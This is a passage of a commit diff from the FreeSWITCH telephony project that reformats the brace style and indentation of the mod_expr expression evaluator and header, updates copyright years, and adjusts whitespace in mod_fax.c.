+ *val = sqrt((d1 * d1) + (d2 * d2));
+ EXPR_CHECK_ERR();
+ } else
+ return err;
+ break;
+}
+
/* recttopola */
case EXPR_NODEFUNC_RECTTOPOLA:
- {
- EXPRTYPE tmp;
+{
+ EXPRTYPE tmp;
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- tmp = atan2(d2, d1);
- EXPR_CHECK_ERR();
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- if(tmp < 0.0)
- *val = tmp = (2.0 * M_PI);
- else
- *val = tmp;
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ tmp = atan2(d2, d1);
+ EXPR_CHECK_ERR();
- break;
- }
+ if (tmp < 0.0)
+ *val = tmp = (2.0 * M_PI);
+ else
+ *val = tmp;
+ } else
+ return err;
+ break;
+}
+
/* poltorectx */
case EXPR_NODEFUNC_POLTORECTX:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = d1 * cos(d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- break;
- }
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = d1 * cos(d2);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
+ break;
+}
+
/* poltorecty */
case EXPR_NODEFUNC_POLTORECTY:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = d1 * sin(d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- break;
- }
+ if (!err) {
+ EXPR_RESET_ERR();
+ *val = d1 * sin(d2);
+ EXPR_CHECK_ERR();
+ } else
+ return err;
+ break;
+}
+
/* if */
case EXPR_NODEFUNC_IF:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- if(d1 != 0.0)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, val);
- if(err)
- return err;
- }
- else
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
- if(err)
- return err;
- }
- }
- else
- return err;
+ if (!err) {
+ if (d1 != 0.0) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, val);
+ if (err)
+ return err;
+ } else {
+ err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
+ if (err)
+ return err;
+ }
+ } else
+ return err;
- break;
- }
+ break;
+}
/* select */
case EXPR_NODEFUNC_SELECT:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- if(d1 < 0.0)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, val);
- if(err)
- return err;
- }
- else if(d1 == 0.0)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
- if(err)
- return err;
- }
- else
- {
- if(nodes->data.function.nodecount == 3)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
- if(err)
- return err;
- }
- else
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 3, val);
- if(err)
- return err;
- }
- }
- }
- else
- return err;
+ if (!err) {
+ if (d1 < 0.0) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, val);
+ if (err)
+ return err;
+ } else if (d1 == 0.0) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
+ if (err)
+ return err;
+ } else {
+ if (nodes->data.function.nodecount == 3) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
+ if (err)
+ return err;
+ } else {
+ err = exprEvalNode(obj, nodes->data.function.nodes, 3, val);
+ if (err)
+ return err;
+ }
+ }
+ } else
+ return err;
- break;
- }
+ break;
+}
/* equal */
case EXPR_NODEFUNC_EQUAL:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- *val = (d1 == d2) ? 1.0 : 0.0;
- }
- else
- return err;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- break;
- }
+ if (!err) {
+ *val = (d1 == d2) ? 1.0 : 0.0;
+ } else
+ return err;
+ break;
+}
+
/* above */
case EXPR_NODEFUNC_ABOVE:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- *val = (d1 > d2) ? 1.0 : 0.0;
- }
- else
- return err;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- break;
- }
+ if (!err) {
+ *val = (d1 > d2) ? 1.0 : 0.0;
+ } else
+ return err;
+ break;
+}
+
/* below */
case EXPR_NODEFUNC_BELOW:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- *val = (d1 < d2) ? 1.0 : 0.0;
- }
- else
- return err;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- break;
- }
+ if (!err) {
+ *val = (d1 < d2) ? 1.0 : 0.0;
+ } else
+ return err;
+ break;
+}
+
/* avg */
case EXPR_NODEFUNC_AVG:
- {
- d2 = 0.0;
-
- for(pos = 0; pos < nodes->data.function.nodecount; pos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d1);
- if(!err)
- {
- d2 += d1;
- }
- else
- return err;
- }
+{
+ d2 = 0.0;
- *val = d2 / (EXPRTYPE)(nodes->data.function.nodecount);
+ for (pos = 0; pos < nodes->data.function.nodecount; pos++) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d1);
+ if (!err) {
+ d2 += d1;
+ } else
+ return err;
+ }
- break;
- }
+ *val = d2 / (EXPRTYPE) (nodes->data.function.nodecount);
+ break;
+}
+
/* clip */
case EXPR_NODEFUNC_CLIP:
- {
- EXPRTYPE v;
+{
+ EXPRTYPE v;
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &v);
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &v);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d1);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- if(v < d1)
- *val = d1;
- else if(v > d2)
- *val = d2;
- else
- *val = v;
- }
- else
- return err;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- break;
- }
+ if (!err) {
+ if (v < d1)
+ *val = d1;
+ else if (v > d2)
+ *val = d2;
+ else
+ *val = v;
+ } else
+ return err;
+ break;
+}
+
/* clamp */
case EXPR_NODEFUNC_CLAMP:
- {
- EXPRTYPE v, tmp;
+{
+ EXPRTYPE v, tmp;
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &v);
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &v);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d1);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- tmp = fmod(v - d1, d2 - d1);
- EXPR_CHECK_ERR();
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- if(tmp < 0.0)
- *val = tmp * d2;
- else
- *val = tmp + d1;
- }
- else
- return err;
+ if (!err) {
+ EXPR_RESET_ERR();
+ tmp = fmod(v - d1, d2 - d1);
+ EXPR_CHECK_ERR();
- break;
- }
+ if (tmp < 0.0)
+ *val = tmp * d2;
+ else
+ *val = tmp + d1;
+ } else
+ return err;
+ break;
+}
+
/* pntchange */
case EXPR_NODEFUNC_PNTCHANGE:
- {
- EXPRTYPE n1, n2, pnt;
- EXPRTYPE odiff, ndiff, perc;
+{
+ EXPRTYPE n1, n2, pnt;
+ EXPRTYPE odiff, ndiff, perc;
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 2, &n1);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 2, &n1);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 3, &n2);
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 3, &n2);
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 4, &pnt);
-
- if(!err)
- {
- odiff = d2 - d1;
- ndiff = n2 - n1;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 4, &pnt);
- if(odiff == 0.0)
- {
- *val = d1;
- return EXPR_ERROR_NOERROR;
- }
+ if (!err) {
+ odiff = d2 - d1;
+ ndiff = n2 - n1;
- perc = (pnt - d1) / odiff;
+ if (odiff == 0.0) {
+ *val = d1;
+ return EXPR_ERROR_NOERROR;
+ }
- *val = n1 + (perc * ndiff);
- }
- else
- return err;
+ perc = (pnt - d1) / odiff;
- break;
- }
+ *val = n1 + (perc * ndiff);
+ } else
+ return err;
+ break;
+}
+
/* poly */
case EXPR_NODEFUNC_POLY:
- {
- EXPRTYPE total, curpow;
+{
+ EXPRTYPE total, curpow;
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- curpow = (EXPRTYPE)(nodes->data.function.nodecount) - 2.0;
- total = 0.0;
+ if (!err) {
+ curpow = (EXPRTYPE) (nodes->data.function.nodecount) - 2.0;
+ total = 0.0;
- for(pos = 1; pos < nodes->data.function.nodecount; pos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d2);
- if(err)
- return err;
+ for (pos = 1; pos < nodes->data.function.nodecount; pos++) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d2);
+ if (err)
+ return err;
- EXPR_RESET_ERR();
- total = total + (d2 * pow(d1, curpow));
- EXPR_CHECK_ERR();
+ EXPR_RESET_ERR();
+ total = total + (d2 * pow(d1, curpow));
+ EXPR_CHECK_ERR();
- curpow = curpow - 1.0;
- }
- }
- else
- return err;
+ curpow = curpow - 1.0;
+ }
+ } else
+ return err;
- *val = total;
- break;
- }
+ *val = total;
+ break;
+}
/* and */
case EXPR_NODEFUNC_AND:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- if(d1 == 0.0 || d2 == 0.0)
- *val = 0.0;
- else
- *val = 1.0;
- }
- else
- return err;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- break;
- }
+ if (!err) {
+ if (d1 == 0.0 || d2 == 0.0)
+ *val = 0.0;
+ else
+ *val = 1.0;
+ } else
+ return err;
+ break;
+}
+
/* or */
case EXPR_NODEFUNC_OR:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- if(d1 != 0.0 || d2 != 0.0)
- *val = 1.0;
- else
- *val = 0.0;
- }
- else
- return err;
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
- break;
- }
+ if (!err) {
+ if (d1 != 0.0 || d2 != 0.0)
+ *val = 1.0;
+ else
+ *val = 0.0;
+ } else
+ return err;
+ break;
+}
+
/* not */
case EXPR_NODEFUNC_NOT:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- {
- if(d1 != 0.0)
- *val = 0.0;
- else
- *val = 1.0;
- }
- else
- return err;
+{
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- break;
- }
+ if (!err) {
+ if (d1 != 0.0)
+ *val = 0.0;
+ else
+ *val = 1.0;
+ } else
+ return err;
+ break;
+}
+
/* for */
case EXPR_NODEFUNC_FOR:
- {
- int tmppos;
- EXPRTYPE test;
+{
+ int tmppos;
+ EXPRTYPE test;
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &test);
+ err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
- if(!err)
- {
- while(test != 0.0)
- {
- for(tmppos = 3; tmppos < nodes->data.function.nodecount; tmppos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, tmppos, val);
- if(err)
- return err;
- }
+ if (!err)
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &test);
- err = exprEvalNode(obj, nodes->data.function.nodes, 2, &d1);
- if(err)
- return err;
+ if (!err) {
+ while (test != 0.0) {
+ for (tmppos = 3; tmppos < nodes->data.function.nodecount; tmppos++) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, tmppos, val);
+ if (err)
+ return err;
+ }
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &test);
- if(err)
- return err;
- }
- }
- else
- return err;
+ err = exprEvalNode(obj, nodes->data.function.nodes, 2, &d1);
+ if (err)
+ return err;
- break;
- }
+ err = exprEvalNode(obj, nodes->data.function.nodes, 1, &test);
+ if (err)
+ return err;
+ }
+ } else
+ return err;
+ break;
+}
+
/* many */
case EXPR_NODEFUNC_MANY:
- {
- for(pos = 0; pos < nodes->data.function.nodecount; pos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, pos, val);
- if(err)
- return err;
- }
+{
+ for (pos = 0; pos < nodes->data.function.nodecount; pos++) {
+ err = exprEvalNode(obj, nodes->data.function.nodes, pos, val);
+ if (err)
+ return err;
+ }
- break;
- }
-
+ break;
+}
Modified: freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -13,7 +13,7 @@
/* Needed for exprNode */
#include "exprpriv.h"
-void* exprAllocMem(size_t size);
+void *exprAllocMem(size_t size);
void exprFreeMem(void *data);
exprNode *exprAllocNodes(size_t count);
Modified: freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -30,196 +30,180 @@
#define EXPR_VERSIONMINOR 7
/* Node types */
-enum
- {
- EXPR_NODETYPE_UNKNOWN = 0,
- EXPR_NODETYPE_MULTI,
- EXPR_NODETYPE_ADD,
- EXPR_NODETYPE_SUBTRACT,
- EXPR_NODETYPE_MULTIPLY,
- EXPR_NODETYPE_DIVIDE,
- EXPR_NODETYPE_EXPONENT,
- EXPR_NODETYPE_NEGATE,
- EXPR_NODETYPE_VALUE,
- EXPR_NODETYPE_VARIABLE,
- EXPR_NODETYPE_ASSIGN,
- EXPR_NODETYPE_FUNCTION
- };
+ enum {
+ EXPR_NODETYPE_UNKNOWN = 0,
+ EXPR_NODETYPE_MULTI,
+ EXPR_NODETYPE_ADD,
+ EXPR_NODETYPE_SUBTRACT,
+ EXPR_NODETYPE_MULTIPLY,
+ EXPR_NODETYPE_DIVIDE,
+ EXPR_NODETYPE_EXPONENT,
+ EXPR_NODETYPE_NEGATE,
+ EXPR_NODETYPE_VALUE,
+ EXPR_NODETYPE_VARIABLE,
+ EXPR_NODETYPE_ASSIGN,
+ EXPR_NODETYPE_FUNCTION
+ };
/* Functions can be evaluated directly in EXPREVAL. If fptr
is NULL, type is used to determine what the function is */
-enum
- {
- EXPR_NODEFUNC_UNKNOWN = 0,
- EXPR_NODEFUNC_ABS,
- EXPR_NODEFUNC_MOD,
- EXPR_NODEFUNC_IPART,
- EXPR_NODEFUNC_FPART,
- EXPR_NODEFUNC_MIN,
- EXPR_NODEFUNC_MAX,
- EXPR_NODEFUNC_POW,
- EXPR_NODEFUNC_SQRT,
- EXPR_NODEFUNC_SIN,
- EXPR_NODEFUNC_SINH,
- EXPR_NODEFUNC_ASIN,
- EXPR_NODEFUNC_COS,
- EXPR_NODEFUNC_COSH,
- EXPR_NODEFUNC_ACOS,
- EXPR_NODEFUNC_TAN,
- EXPR_NODEFUNC_TANH,
- EXPR_NODEFUNC_ATAN,
- EXPR_NODEFUNC_ATAN2,
- EXPR_NODEFUNC_LOG,
- EXPR_NODEFUNC_POW10,
- EXPR_NODEFUNC_LN,
- EXPR_NODEFUNC_EXP,
- EXPR_NODEFUNC_LOGN,
- EXPR_NODEFUNC_CEIL,
- EXPR_NODEFUNC_FLOOR,
- EXPR_NODEFUNC_RAND,
- EXPR_NODEFUNC_RANDOM,
- EXPR_NODEFUNC_RANDOMIZE,
- EXPR_NODEFUNC_DEG,
- EXPR_NODEFUNC_RAD,
- EXPR_NODEFUNC_RECTTOPOLR,
- EXPR_NODEFUNC_RECTTOPOLA,
- EXPR_NODEFUNC_POLTORECTX,
- EXPR_NODEFUNC_POLTORECTY,
- EXPR_NODEFUNC_IF,
- EXPR_NODEFUNC_SELECT,
- EXPR_NODEFUNC_EQUAL,
- EXPR_NODEFUNC_ABOVE,
- EXPR_NODEFUNC_BELOW,
- EXPR_NODEFUNC_AVG,
- EXPR_NODEFUNC_CLIP,
- EXPR_NODEFUNC_CLAMP,
- EXPR_NODEFUNC_PNTCHANGE,
- EXPR_NODEFUNC_POLY,
- EXPR_NODEFUNC_AND,
- EXPR_NODEFUNC_OR,
- EXPR_NODEFUNC_NOT,
- EXPR_NODEFUNC_FOR,
- EXPR_NODEFUNC_MANY
- };
+ enum {
+ EXPR_NODEFUNC_UNKNOWN = 0,
+ EXPR_NODEFUNC_ABS,
+ EXPR_NODEFUNC_MOD,
+ EXPR_NODEFUNC_IPART,
+ EXPR_NODEFUNC_FPART,
+ EXPR_NODEFUNC_MIN,
+ EXPR_NODEFUNC_MAX,
+ EXPR_NODEFUNC_POW,
+ EXPR_NODEFUNC_SQRT,
+ EXPR_NODEFUNC_SIN,
+ EXPR_NODEFUNC_SINH,
+ EXPR_NODEFUNC_ASIN,
+ EXPR_NODEFUNC_COS,
+ EXPR_NODEFUNC_COSH,
+ EXPR_NODEFUNC_ACOS,
+ EXPR_NODEFUNC_TAN,
+ EXPR_NODEFUNC_TANH,
+ EXPR_NODEFUNC_ATAN,
+ EXPR_NODEFUNC_ATAN2,
+ EXPR_NODEFUNC_LOG,
+ EXPR_NODEFUNC_POW10,
+ EXPR_NODEFUNC_LN,
+ EXPR_NODEFUNC_EXP,
+ EXPR_NODEFUNC_LOGN,
+ EXPR_NODEFUNC_CEIL,
+ EXPR_NODEFUNC_FLOOR,
+ EXPR_NODEFUNC_RAND,
+ EXPR_NODEFUNC_RANDOM,
+ EXPR_NODEFUNC_RANDOMIZE,
+ EXPR_NODEFUNC_DEG,
+ EXPR_NODEFUNC_RAD,
+ EXPR_NODEFUNC_RECTTOPOLR,
+ EXPR_NODEFUNC_RECTTOPOLA,
+ EXPR_NODEFUNC_POLTORECTX,
+ EXPR_NODEFUNC_POLTORECTY,
+ EXPR_NODEFUNC_IF,
+ EXPR_NODEFUNC_SELECT,
+ EXPR_NODEFUNC_EQUAL,
+ EXPR_NODEFUNC_ABOVE,
+ EXPR_NODEFUNC_BELOW,
+ EXPR_NODEFUNC_AVG,
+ EXPR_NODEFUNC_CLIP,
+ EXPR_NODEFUNC_CLAMP,
+ EXPR_NODEFUNC_PNTCHANGE,
+ EXPR_NODEFUNC_POLY,
+ EXPR_NODEFUNC_AND,
+ EXPR_NODEFUNC_OR,
+ EXPR_NODEFUNC_NOT,
+ EXPR_NODEFUNC_FOR,
+ EXPR_NODEFUNC_MANY
+ };
/* Forward declarations */
-typedef struct _exprFunc exprFunc;
-typedef struct _exprVal exprVal;
+ typedef struct _exprFunc exprFunc;
+ typedef struct _exprVal exprVal;
/* Expression object */
-struct _exprObj
- {
- struct _exprFuncList *flist; /* Functions */
- struct _exprValList *vlist; /* Variables */
- struct _exprValList *clist; /* Constants */
- struct _exprNode *headnode; /* Head parsed node */
+ struct _exprObj {
+ struct _exprFuncList *flist; /* Functions */
+ struct _exprValList *vlist; /* Variables */
+ struct _exprValList *clist; /* Constants */
+ struct _exprNode *headnode; /* Head parsed node */
- exprBreakFuncType breakerfunc; /* Break function type */
+ exprBreakFuncType breakerfunc; /* Break function type */
- void *userdata; /* User data, can be any 32 bit value */
- int parsedgood; /* non-zero if successfully parsed */
- int parsedbad; /* non-zero if parsed but unsuccessful */
- int breakcount; /* how often to check the breaker function */
- int breakcur; /* do we check the breaker function yet */
- int starterr; /* start position of an error */
- int enderr; /* end position of an error */
- };
+ void *userdata; /* User data, can be any 32 bit value */
+ int parsedgood; /* non-zero if successfully parsed */
+ int parsedbad; /* non-zero if parsed but unsuccessful */
+ int breakcount; /* how often to check the breaker function */
+ int breakcur; /* do we check the breaker function yet */
+ int starterr; /* start position of an error */
+ int enderr; /* end position of an error */
+ };
/* Object for a function */
-struct _exprFunc
- {
- char *fname; /* Name of the function */
- exprFuncType fptr; /* Function pointer */
- int min, max; /* Min and max args for the function. */
- int refmin, refmax; /* Min and max ref. variables for the function */
- int type; /* Function node type. exprEvalNOde solves the function */
+ struct _exprFunc {
+ char *fname; /* Name of the function */
+ exprFuncType fptr; /* Function pointer */
+ int min, max; /* Min and max args for the function. */
+ int refmin, refmax; /* Min and max ref. variables for the function */
+ int type; /* Function node type. exprEvalNOde solves the function */
- struct _exprFunc *next; /* For linked list */
- };
+ struct _exprFunc *next; /* For linked list */
+ };
/* Function list object */
-struct _exprFuncList
- {
- struct _exprFunc *head;
- };
+ struct _exprFuncList {
+ struct _exprFunc *head;
+ };
/* Object for values */
-struct _exprVal
- {
- char *vname; /* Name of the value */
- EXPRTYPE vval; /* Value of the value */
- EXPRTYPE *vptr; /* Pointer to a value. Used only if not NULL */
+ struct _exprVal {
+ char *vname; /* Name of the value */
+ EXPRTYPE vval; /* Value of the value */
+ EXPRTYPE *vptr; /* Pointer to a value. Used only if not NULL */
- struct _exprVal *next; /* For linked list */
- };
+ struct _exprVal *next; /* For linked list */
+ };
/* Value list */
-struct _exprValList
- {
- struct _exprVal *head;
- };
+ struct _exprValList {
+ struct _exprVal *head;
+ };
/* Expression node type */
-struct _exprNode
- {
- int type; /* Node type */
+ struct _exprNode {
+ int type; /* Node type */
- union _data /* Union of info for various types */
- {
- struct _oper
- {
- struct _exprNode *nodes; /* Operation arguments */
- int nodecount; /* Number of arguments */
- } oper;
+ union _data { /* Union of info for various types */
+ struct _oper {
+ struct _exprNode *nodes; /* Operation arguments */
+ int nodecount; /* Number of arguments */
+ } oper;
- struct _variable
- {
- EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
- } variable;
+ struct _variable {
+ EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
+ } variable;
- struct _value
- {
- EXPRTYPE value; /* Value if type is value */
- } value;
+ struct _value {
+ EXPRTYPE value; /* Value if type is value */
+ } value;
- struct _assign /* Assignment struct */
- {
- EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
- struct _exprNode *node; /* Node to evaluate */
- } assign;
+ struct _assign { /* Assignment struct */
+ EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
+ struct _exprNode *node; /* Node to evaluate */
+ } assign;
- struct _function
- {
- exprFuncType fptr; /* Function pointer */
- struct _exprNode *nodes; /* Array of argument nodes */
- int nodecount; /* Number of argument nodes */
- EXPRTYPE **refs; /* Reference variables */
- int refcount; /* Number of variable references (not a reference counter) */
- int type; /* Type of function for exprEvalNode if fptr is NULL */
- } function;
- } data;
- };
+ struct _function {
+ exprFuncType fptr; /* Function pointer */
+ struct _exprNode *nodes; /* Array of argument nodes */
+ int nodecount; /* Number of argument nodes */
+ EXPRTYPE **refs; /* Reference variables */
+ int refcount; /* Number of variable references (not a reference counter) */
+ int type; /* Type of function for exprEvalNode if fptr is NULL */
+ } function;
+ } data;
+ };
/* Functions for function lists */
-int exprFuncListAddType(exprFuncList *flist, char *name, int type, int min, int max, int refmin, int refmax);
-int exprFuncListGet(exprFuncList *flist, char *name, exprFuncType *ptr, int *type, int *min, int *max, int *refmin, int *refmax);
+ int exprFuncListAddType(exprFuncList * flist, char *name, int type, int min, int max, int refmin, int refmax);
+ int exprFuncListGet(exprFuncList * flist, char *name, exprFuncType * ptr, int *type, int *min, int *max, int *refmin, int *refmax);
#ifdef WIN32
#define SWITCH_DECLARE(type) __declspec(dllimport) type __stdcall
#else
-#define SWITCH_DECLARE(type) type
+#define SWITCH_DECLARE(type) type
#endif
-SWITCH_DECLARE(int) switch_isalnum(int c);
-SWITCH_DECLARE(int) switch_isalpha(int c);
-SWITCH_DECLARE(int) switch_isdigit(int c);
-SWITCH_DECLARE(int) switch_isspace(int c);
+ SWITCH_DECLARE(int) switch_isalnum(int c);
+ SWITCH_DECLARE(int) switch_isalpha(int c);
+ SWITCH_DECLARE(int) switch_isdigit(int c);
+ SWITCH_DECLARE(int) switch_isspace(int c);
#ifdef __cplusplus
}
#endif
-
-#endif /* __BAVII_EXPRPRIV_H */
-
+#endif /* __BAVII_EXPRPRIV_H */
Modified: freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -88,12 +88,12 @@
int tx_page_start;
int tx_page_end;
-
+
int done;
/* UNUSED AT THE MOMENT
int enable_t38_reinvite;
- */
+ */
};
@@ -141,7 +141,7 @@
/*
* Called at the end of the document
*/
-static void phase_e_handler(t30_state_t * s, void *user_data, int result)
+static void phase_e_handler(t30_state_t *s, void *user_data, int result)
{
t30_stats_t t;
const char *local_ident;
@@ -153,7 +153,7 @@
pvt = (pvt_t *) user_data;
switch_assert(pvt);
-
+
session = pvt->session;
switch_assert(session);
@@ -184,8 +184,8 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Remote station id: %s\n", far_ident);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Local station id: %s\n", local_ident);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Pages transferred: %i\n",
- pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Pages transferred: %i\n",
+ pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Total fax pages: %i\n", t.pages_in_file);
